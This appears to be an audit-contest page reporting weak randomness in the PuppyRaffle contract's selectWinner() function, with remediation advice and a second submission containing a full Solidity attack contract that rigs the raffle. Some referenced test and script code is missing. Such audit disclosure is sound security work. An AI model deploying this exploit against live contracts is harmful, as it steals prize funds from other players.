selectWinner() generates the winner index and the NFT rarity using keccak256 over on-chain values that are either publicly known or miner-controlled:
msg.sender — chosen by the attacker
block.timestamp — can be influenced by validators (up to ~12 seconds)
block.difficulty — on Ethereum post-Merge this is block.prevrandao, which while harder to manipulate, is still not cryptographically safe for economic decisions
An attacker who calls selectWinner() knows their own msg.sender and can read block.timestamp and block.difficulty from a pending block or simulate them locally to brute-force a call that lands on their own address as winner.
A malicious caller or validator can guarantee they win the raffle prize (80% of the prize pool) and can also manipulate the NFT rarity to always mint a Legendary. The entire fairness assumption of the raffle is broken. All other players are guaranteed to lose.
How the attack works in plain terms:
The attacker runs the same keccak256 formula the contract uses — off-chain — before ever submitting a transaction. Since all inputs (msg.sender, block.timestamp, block.difficulty) are publicly visible, the winner is fully known in advance. If the result is not favourable, the attacker waits for a better block. Miners and validators go further — they directly set block.timestamp to guarantee their preferred outcome.
1. Forge unit test — definitive automated proof (test/PuppyRaffleTest.t.sol)
This test proves the PRNG is deterministic and predictable by computing the winner index using the exact same formula as the contract, then verifying the prediction matches reality:
Test result:
2. On-chain prediction script (script/AttackPRNG.sol) — methodology demonstration
This script proves that before calling selectWinner(), the attacker can compute exactly who will win using publicly available block data:
To reproduce:
Note on Anvil simulation vs broadcast: The script's prediction is computed in the simulation phase using the current block's values. The broadcast transaction lands in the next block with a slightly different
block.timestamp(+1 second). This 1-second shift is itself proof of the vulnerability — a miner or validator who controlsblock.timestampdirectly can guarantee any outcome. On a real chain, they would simply set the timestamp to the value that makes their preferred address win.
3. Key observation — the winner changes with every second
block.timestamp offset |
Winner |
|---|---|
| +0 seconds | Account 3 (0x90F7...) |
| +4 seconds | Account 2 (0x3C44...) |
| +7 seconds | Account 4 (0x15d3...) |
A miner selects any row from this table and sets block.timestamp accordingly — choosing the winner before the block is even published.
Why block.timestamp, block.difficulty, and msg.sender are not safe entropy sources:
| Source | Why it fails |
|---|---|
block.timestamp |
Validators can shift it by ~±12 seconds to pick a preferred winner |
block.difficulty |
Deprecated post-Merge; maps to PREVRANDAO, which validators partially influence |
msg.sender |
The attacker controls this — they can deploy from any address they choose |
keccak256 of the above |
A deterministic hash of predictable inputs is itself predictable |
Option 1 — Chainlink VRF v2 (Recommended)
Use Chainlink VRF (Verifiable Random Function) — the industry standard for verifiably fair, tamper-proof on-chain randomness. The random number is generated off-chain with a cryptographic proof that the contract verifies before using the value.
Option 2 — Commit-Reveal Scheme (No Oracle Dependency)
A two-phase approach where the randomness is committed to before the reveal block, making last-minute manipulation impossible. Suitable if you cannot integrate Chainlink VRF.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.